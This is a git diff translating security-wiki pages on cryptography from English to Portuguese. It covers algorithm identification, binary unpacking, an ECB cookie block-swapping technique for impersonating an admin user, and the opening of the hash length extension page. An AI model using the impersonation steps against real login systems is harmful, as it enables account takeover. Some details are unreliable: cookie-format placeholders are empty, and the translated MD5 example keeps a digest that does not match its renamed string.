 - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
 - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
 
-## Strong Crypto
+## Cripto Forte
 
 ### Fernet
 
-2 base64 strings (token and key)
-
+2 strings base64 (token e chave)
 ```
 Token:
 gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
 Key:
 -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
 ```
-
 - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
 
-### Samir Secret Sharing
-
-A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
+### Compartilhamento Secreto de Samir
 
+Um segredo é dividido em X partes e para recuperá-lo você precisa de Y partes (_Y <=X_).
 ```
 8019f8fa5879aa3e07858d08308dc1a8b45
 80223035713295bddf0b0bd1b10a5340b89
 803bc8cf294b3f83d88e86d9818792e80cd
 ```
-
 [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
 
-### OpenSSL brute-force
+### Força bruta do OpenSSL
 
 - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
 - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
 
-## Tools
+## Ferramentas
 
 - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
 - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md
index bcfcf1d0a..8d9597f1e 100644
--- a/src/crypto-and-stego/cryptographic-algorithms/README.md
+++ b/src/crypto-and-stego/cryptographic-algorithms/README.md
@@ -1,184 +1,184 @@
-# Cryptographic/Compression Algorithms
+# Algoritmos Criptográficos/Compressão
 
-## Cryptographic/Compression Algorithms
+## Algoritmos Criptográficos/Compressão
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Identifying Algorithms
+## Identificando Algoritmos
 
-If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
+Se você terminar em um código **usando deslocamentos à direita e à esquerda, xors e várias operações aritméticas**, é altamente provável que seja a implementação de um **algoritmo criptográfico**. Aqui serão mostradas algumas maneiras de **identificar o algoritmo que está sendo usado sem precisar reverter cada passo**.
 
-### API functions
+### Funções da API
 
 **CryptDeriveKey**
 
-If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
+Se esta função for usada, você pode descobrir qual **algoritmo está sendo usado** verificando o valor do segundo parâmetro:
 
 ![](<../../images/image (156).png>)
 
-Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
+Verifique aqui a tabela de possíveis algoritmos e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
 
 **RtlCompressBuffer/RtlDecompressBuffer**
 
-Compresses and decompresses a given buffer of data.
+Comprime e descomprime um determinado buffer de dados.
 
 **CryptAcquireContext**
 
-From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
+Dos [docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): A função **CryptAcquireContext** é usada para adquirir um identificador para um determinado contêiner de chaves dentro de um determinado provedor de serviços criptográficos (CSP). **Este identificador retornado é usado em chamadas para funções da CryptoAPI** que utilizam o CSP selecionado.
 
 **CryptCreateHash**
 
-Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
+Inicia a hash de um fluxo de dados. Se esta função for usada, você pode descobrir qual **algoritmo está sendo usado** verificando o valor do segundo parâmetro:
 
 ![](<../../images/image (549).png>)
 
 \
-Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
+Verifique aqui a tabela de possíveis algoritmos e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
 
-### Code constants
+### Constantes de código
 
-Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
+Às vezes, é realmente fácil identificar um algoritmo graças ao fato de que ele precisa usar um valor especial e único.
 
 ![](<../../images/image (833).png>)
 
-If you search for the first constant in Google this is what you get:
+Se você pesquisar a primeira constante no Google, isso é o que você obtém:
 
 ![](<../../images/image (529).png>)
 
-Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
-You can search any of the other constants and you will obtain (probably) the same result.
+Portanto, você pode assumir que a função decompilada é um **calculador sha256.**\
+Você pode pesquisar qualquer uma das outras constantes e provavelmente obterá o mesmo resultado.
 
-### data info
+### informações de dados
 
-If the code doesn't have any significant constant it may be **loading information from the .data section**.\
-You can access that data, **group the first dword** and search for it in google as we have done in the section before:
+Se o código não tiver nenhuma constante significativa, pode estar **carregando informações da seção .data**.\
+Você pode acessar esses dados, **agrupar o primeiro dword** e pesquisar no Google como fizemos na seção anterior:
 
 ![](<../../images/image (531).png>)
 
-In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
+Neste caso, se você procurar **0xA56363C6**, pode descobrir que está relacionado às **tabelas do algoritmo AES**.
 
-## RC4 **(Symmetric Crypt)**
+## RC4 **(Criptografia Simétrica)**
 
-### Characteristics
+### Características
 
-It's composed of 3 main parts:
+É composto por 3 partes principais:
 
-- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
-- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
-- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
+- **Estágio de Inicialização/**: Cria uma **tabela de valores de 0x00 a 0xFF** (256bytes no total, 0x100). Esta tabela é comumente chamada de **Caixa de Substituição** (ou SBox).
+- **Estágio de Embaralhamento**: Irá **percorrer a tabela** criada anteriormente (loop de 0x100 iterações, novamente) modificando cada valor com bytes **semi-aleatórios**. Para criar esses bytes semi-aleatórios, a **chave RC4 é usada**. As **chaves RC4** podem ter **entre 1 e 256 bytes de comprimento**, no entanto, geralmente é recomendado que seja acima de 5 bytes. Comumente, as chaves RC4 têm 16 bytes de comprimento.
+- **Estágio XOR**: Finalmente, o texto simples ou o texto cifrado é **XORed com os valores criados anteriormente**. A função para criptografar e descriptografar é a mesma. Para isso, um **loop pelos 256 bytes criados** será realizado quantas vezes forem necessárias. Isso geralmente é reconhecido em um código decompilado com um **%256 (mod 256)**.
 
 > [!NOTE]
-> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
+> **Para identificar um RC4 em um código desassemblado/decompilado, você pode verificar 2 loops de tamanho 0x100 (com o uso de uma chave) e, em seguida, um XOR dos dados de entrada com os 256 valores criados anteriormente nos 2 loops, provavelmente usando um %256 (mod 256)**
 
-### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
+### **Estágio de Inicialização/Caixa de Substituição:** (Note o número 256 usado como contador e como um 0 é escrito em cada lugar dos 256 chars)
 
 ![](<../../images/image (584).png>)
 
-### **Scrambling Stage:**
+### **Estágio de Embaralhamento:**
 
 ![](<../../images/image (835).png>)
 
-### **XOR Stage:**
+### **Estágio XOR:**
 
 ![](<../../images/image (904).png>)
 
-## **AES (Symmetric Crypt)**
+## **AES (Criptografia Simétrica)**
 
-### **Characteristics**
+### **Características**
 
-- Use of **substitution boxes and lookup tables**
-  - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
-- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
+- Uso de **caixas de substituição e tabelas de consulta**
+- É possível **distinguir o AES graças ao uso de valores específicos de tabelas de consulta** (constantes). _Note que a **constante** pode ser **armazenada** no binário **ou criada** _**dinamicamente**._
+- A **chave de criptografia** deve ser **divisível** por **16** (geralmente 32B) e geralmente um **IV** de 16B é usado.
 
-### SBox constants
+### Constantes SBox
 
 ![](<../../images/image (208).png>)
 
-## Serpent **(Symmetric Crypt)**
+## Serpent **(Criptografia Simétrica)**
 
-### Characteristics
+### Características
 
-- It's rare to find some malware using it but there are examples (Ursnif)
-- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
+- É raro encontrar algum malware usando, mas há exemplos (Ursnif)
+- Simples de determinar se um algoritmo é Serpent ou não com base em seu comprimento (função extremamente longa)
 
-### Identifying
+### Identificando
 
-In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
-Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
+Na imagem a seguir, note como a constante **0x9E3779B9** é usada (note que esta constante também é usada por outros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\
+Também note o **tamanho do loop** (**132**) e o **número de operações XOR** nas instruções de **desmontagem** e no exemplo de **código**:
 
 ![](<../../images/image (547).png>)
 
-As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
+Como mencionado anteriormente, este código pode ser visualizado dentro de qualquer decompilador como uma **função muito longa**, pois **não há saltos** dentro dele. O código decompilado pode parecer o seguinte:
 
 ![](<../../images/image (513).png>)
 
-Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
+Portanto, é possível identificar este algoritmo verificando o **número mágico** e os **XORs iniciais**, vendo uma **função muito longa** e **comparando** algumas **instruções** da longa função **com uma implementação** (como o deslocamento à esquerda por 7 e a rotação à esquerda por 22).
 
-## RSA **(Asymmetric Crypt)**
+## RSA **(Criptografia Assimétrica)**
 
-### Characteristics
+### Características
 
-- More complex than symmetric algorithms
-- There are no constants! (custom implementation are difficult to determine)
-- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
+- Mais complexo do que algoritmos simétricos
+- Não há constantes! (implementações personalizadas são difíceis de determinar)
+- KANAL (um analisador criptográfico) não consegue mostrar dicas sobre RSA, pois depende de constantes.
 
-### Identifying by comparisons
+### Identificando por comparações
 
 ![](<../../images/image (1113).png>)
 
-- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
-- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
+- Na linha 11 (esquerda) há um `+7) >> 3` que é o mesmo que na linha 35 (direita): `+7) / 8`
+- A linha 12 (esquerda) está verificando se `modulus_len < 0x040` e na linha 36 (direita) está verificando se `inputLen+11 > modulusLen`
 
 ## MD5 & SHA (hash)
 
-### Characteristics
+### Características
 
-- 3 functions: Init, Update, Final
-- Similar initialize functions
+- 3 funções: Init, Update, Final
+- Funções de inicialização semelhantes
 
-### Identify
+### Identificar
 
 **Init**
 
-You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
+Você pode identificar ambos verificando as constantes. Note que o sha_init tem 1 constante que o MD5 não tem:
 
 ![](<../../images/image (406).png>)
 
-**MD5 Transform**
+**Transformação MD5**
 
-Note the use of more constants
+Note o uso de mais constantes
 
 ![](<../../images/image (253) (1) (1).png>)
 
 ## CRC (hash)
 
-- Smaller and more efficient as it's function is to find accidental changes in data
-- Uses lookup tables (so you can identify constants)
+- Menor e mais eficiente, pois sua função é encontrar mudanças acidentais nos dados
+- Usa tabelas de consulta (então você pode identificar constantes)
 
-### Identify
+### Identificar
 
-Check **lookup table constants**:
+Verifique **constantes da tabela de consulta**:
 
 ![](<../../images/image (508).png>)
 
-A CRC hash algorithm looks like:
+Um algoritmo de hash CRC se parece com:
 
 ![](<../../images/image (391).png>)
 
-## APLib (Compression)
+## APLib (Compressão)
 
-### Characteristics
+### Características
 
-- Not recognizable constants
-- You can try to write the algorithm in python and search for similar things online
+- Constantes não reconhecíveis
+- Você pode tentar escrever o algoritmo em python e procurar por coisas semelhantes online
 
-### Identify
+### Identificar
 
-The graph is quiet large:
+O gráfico é bastante grande:
 
 ![](<../../images/image (207) (2) (1).png>)
 
-Check **3 comparisons to recognise it**:
+Verifique **3 comparações para reconhecê-lo**:
 
 ![](<../../images/image (430).png>)
 
diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
index 6699ec26f..38f57990d 100644
--- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
+++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
@@ -1,24 +1,24 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-# Identifying packed binaries
+# Identificando binários empacotados
 
-- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
-- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
-- You can also use some tools to try to find which packer was used to pack a binary:
-  - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
-  - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
-  - [Language 2000](http://farrokhi.net/language/)
+- **falta de strings**: É comum encontrar que binários empacotados não têm quase nenhuma string.
+- Muitas **strings não utilizadas**: Além disso, quando um malware usa algum tipo de empacotador comercial, é comum encontrar muitas strings sem referências cruzadas. Mesmo que essas strings existam, isso não significa que o binário não esteja empacotado.
+- Você também pode usar algumas ferramentas para tentar descobrir qual empacotador foi usado para empacotar um binário:
+- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
+- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
+- [Language 2000](http://farrokhi.net/language/)
 
-# Basic Recommendations
+# Recomendações Básicas
 
-- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
-- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
-- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
-  - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
-- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
-- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
-- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
-  However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
-- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
+- **Comece** a analisar o binário empacotado **de baixo para cima no IDA**. Desempacotadores saem uma vez que o código desempacotado sai, então é improvável que o desempacotador passe a execução para o código desempacotado no início.
+- Procure por **JMP's** ou **CALLs** para **registradores** ou **regiões** de **memória**. Também procure por **funções que empurram argumentos e uma direção de endereço e depois chamam `retn`**, porque o retorno da função, nesse caso, pode chamar o endereço que foi apenas empurrado para a pilha antes de chamá-lo.
+- Coloque um **breakpoint** em `VirtualAlloc`, pois isso aloca espaço na memória onde o programa pode escrever código desempacotado. "executar até o código do usuário" ou use F8 para **obter o valor dentro de EAX** após executar a função e "**seguir aquele endereço no dump**". Você nunca sabe se essa é a região onde o código desempacotado será salvo.
+- **`VirtualAlloc`** com o valor "**40**" como argumento significa Ler+Escrever+Executar (algum código que precisa de execução será copiado aqui).
+- **Enquanto desempacota** código, é normal encontrar **várias chamadas** para **operações aritméticas** e funções como **`memcopy`** ou **`Virtual`**`Alloc`. Se você se encontrar em uma função que aparentemente apenas realiza operações aritméticas e talvez algum `memcopy`, a recomendação é tentar **encontrar o final da função** (talvez um JMP ou chamada para algum registrador) **ou** pelo menos a **chamada para a última função** e executar até lá, pois o código não é interessante.
+- Enquanto desempacota código, **note** sempre que você **muda a região de memória**, pois uma mudança de região de memória pode indicar o **início do código desempacotado**. Você pode facilmente despejar uma região de memória usando o Process Hacker (processo --> propriedades --> memória).
+- Enquanto tenta desempacotar código, uma boa maneira de **saber se você já está trabalhando com o código desempacotado** (para que você possa apenas despejá-lo) é **verificar as strings do binário**. Se em algum momento você realizar um salto (talvez mudando a região de memória) e notar que **muitas mais strings foram adicionadas**, então você pode saber **que está trabalhando com o código desempacotado**.\
+No entanto, se o empacotador já contém muitas strings, você pode ver quantas strings contêm a palavra "http" e verificar se esse número aumenta.
+- Quando você despeja um executável de uma região de memória, pode corrigir alguns cabeçalhos usando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md
index a09798b1e..0ad348a60 100644
--- a/src/crypto-and-stego/electronic-code-book-ecb.md
+++ b/src/crypto-and-stego/electronic-code-book-ecb.md
@@ -2,72 +2,66 @@
 
 # ECB
 
-(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
+(ECB) Electronic Code Book - esquema de criptografia simétrica que **substitui cada bloco do texto claro** pelo **bloco de texto cifrado**. É o esquema de criptografia **mais simples**. A ideia principal é **dividir** o texto claro em **blocos de N bits** (depende do tamanho do bloco de dados de entrada, algoritmo de criptografia) e então criptografar (descriptografar) cada bloco do texto claro usando a única chave.
 
 ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
 
-Using ECB has multiple security implications:
+Usar ECB tem múltiplas implicações de segurança:
 
-- **Blocks from encrypted message can be removed**
-- **Blocks from encrypted message can be moved around**
+- **Blocos da mensagem criptografada podem ser removidos**
+- **Blocos da mensagem criptografada podem ser movidos**
 
-# Detection of the vulnerability
+# Detecção da vulnerabilidade
 
-Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\
-Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
-You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
-
-Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
+Imagine que você faz login em um aplicativo várias vezes e **sempre recebe o mesmo cookie**. Isso ocorre porque o cookie do aplicativo é **`|`**.\
+Então, você gera dois novos usuários, ambos com a **mesma senha longa** e **quase** o **mesmo** **nome de usuário**.\
+Você descobre que os **blocos de 8B** onde as **informações de ambos os usuários** são as mesmas são **iguais**. Então, você imagina que isso pode ser porque **ECB está sendo usado**.
 
+Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm várias vezes o bloco **`\x23U\xE45K\xCB\x21\xC8`**.
 ```
 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
 
 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
 ```
+Isto é porque o **nome de usuário e a senha desses cookies continham várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário).
 
-This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
+Agora, o atacante só precisa descobrir se o formato é `` ou ``. Para fazer isso, ele pode apenas **gerar vários nomes de usuário** com **nomes de usuário e senhas longos e semelhantes até encontrar o formato e o comprimento do delimitador:**
 
-Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
+| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário+senha: | Comprimento do cookie (após decodificação): |
+| ------------------------------- | --------------------- | ------------------------------------- | ------------------------------------------- |
+| 2                               | 2                     | 4                                     | 8                                           |
+| 3                               | 3                     | 6                                     | 8                                           |
+| 3                               | 4                     | 7                                     | 8                                           |
+| 4                               | 4                     | 8                                     | 16                                          |
+| 7                               | 7                     | 14                                    | 16                                          |
 
-| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
-| ---------------- | ---------------- | ------------------------- | --------------------------------- |
-| 2                | 2                | 4                         | 8                                 |
-| 3                | 3                | 6                         | 8                                 |
-| 3                | 4                | 7                         | 8                                 |
-| 4                | 4                | 8                         | 16                                |
-| 7                | 7                | 14                        | 16                                |
+# Exploração da vulnerabilidade
 
-# Exploitation of the vulnerability
-
-## Removing entire blocks
-
-Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
+## Removendo blocos inteiros
 
+Sabendo o formato do cookie (`|`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o:
 ```
 \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
 ```
-
-We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
-Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
-
+Podemos ver o padrão `\x23U\xE45K\xCB\x21\xC8` criado anteriormente com o nome de usuário que continha apenas `a`.\
+Então, você pode remover o primeiro bloco de 8B e obterá um cookie válido para o nome de usuário `admin`:
 ```
 \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
 ```
+## Movendo blocos
 
-## Moving blocks
+Em muitos bancos de dados, é o mesmo procurar por `WHERE username='admin';` ou por `WHERE username='admin    ';` _(Note os espaços extras)_
 
-In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin    ';` _(Note the extra spaces)_
+Assim, outra maneira de se passar pelo usuário `admin` seria:
 
-So, another way to impersonate the user `admin` would be to:
+- Gerar um nome de usuário que: `len() + len(` gerará 2 blocos de 8Bs.
+- Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos imitar e espaços, como: `admin   `
 
-- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs.
-- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin   `
+O cookie deste usuário será composto por 3 blocos: os primeiros 2 são os blocos do nome de usuário + delimitador e o terceiro da senha (que está falsificando o nome de usuário): `username       |admin   `
 
-The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username       |admin   `
+**Então, basta substituir o primeiro bloco pelo último e você estará se passando pelo usuário `admin`: `admin          |username`**
 
-**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin          |username`**
-
-## References
+## Referências
 
 - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]()
 
diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md
index 2faf6564f..1eff6a3f7 100644
--- a/src/crypto-and-stego/esoteric-languages.md
+++ b/src/crypto-and-stego/esoteric-languages.md
@@ -1,18 +1,16 @@
-# Esoteric languages
+# Linguagens Esotéricas
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
 
-Check that wiki to search more esotreic languages
+Verifique essa wiki para procurar mais linguagens esotéricas
 
 ## Malbolge
-
 ```
 ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=
 ```
-
 [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
 
 ## npiet
@@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
 [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
 
 ## Rockstar
-
 ```
 Midnight takes your heart and your soul
 While your heart is as high as your soul
@@ -51,11 +48,9 @@ Take it to the top
 
 Whisper my world
 ```
-
 {% embed url="https://codewithrockstar.com/" %}
 
 ## PETOOH
-
 ```
 KoKoKoKoKoKoKoKoKoKo Kud-Kudah
 KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
 kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
 Kukarek
 ```
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md
index 51a38df3f..0b7d57164 100644
--- a/src/crypto-and-stego/hash-length-extension-attack.md
+++ b/src/crypto-and-stego/hash-length-extension-attack.md
@@ -2,37 +2,37 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Summary of the attack
+## Resumo do ataque
 
-Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
+Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
 
-- **The length of the secret** (this can be also bruteforced from a given length range)
-- **The clear text data**
-- **The algorithm (and it's vulnerable to this attack)**
-- **The padding is known**
-  - Usually a default one is used, so if the other 3 requirements are met, this also is
-  - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
+- **O comprimento do segredo** (isso também pode ser forçado a partir de um intervalo de comprimento dado)
+- **Os dados de texto claro**
+- **O algoritmo (e ele é vulnerável a este ataque)**
+- **O padding é conhecido**
+- Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é
+- O padding varia dependendo do comprimento do segredo + dados, é por isso que o comprimento do segredo é necessário
 
-Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
+Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**.
 
-### How?
+### Como?
 
-Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
+Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
 
-Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
-If an attacker wants to append the string "append" he can:
+Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
+Se um atacante quiser anexar a string "anexar", ele pode:
 
-- Generate a MD5 of 64 "A"s
-- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
-- Append the string "append"
-- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
+- Gerar um MD5 de 64 "A"s
+- Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b
+- Anexar a string "anexar"
+- Finalizar o hash e o hash resultante será um **válido para "segredo" + "dados" + "padding" + "anexar"**
 
-### **Tool**
+### **Ferramenta**
 
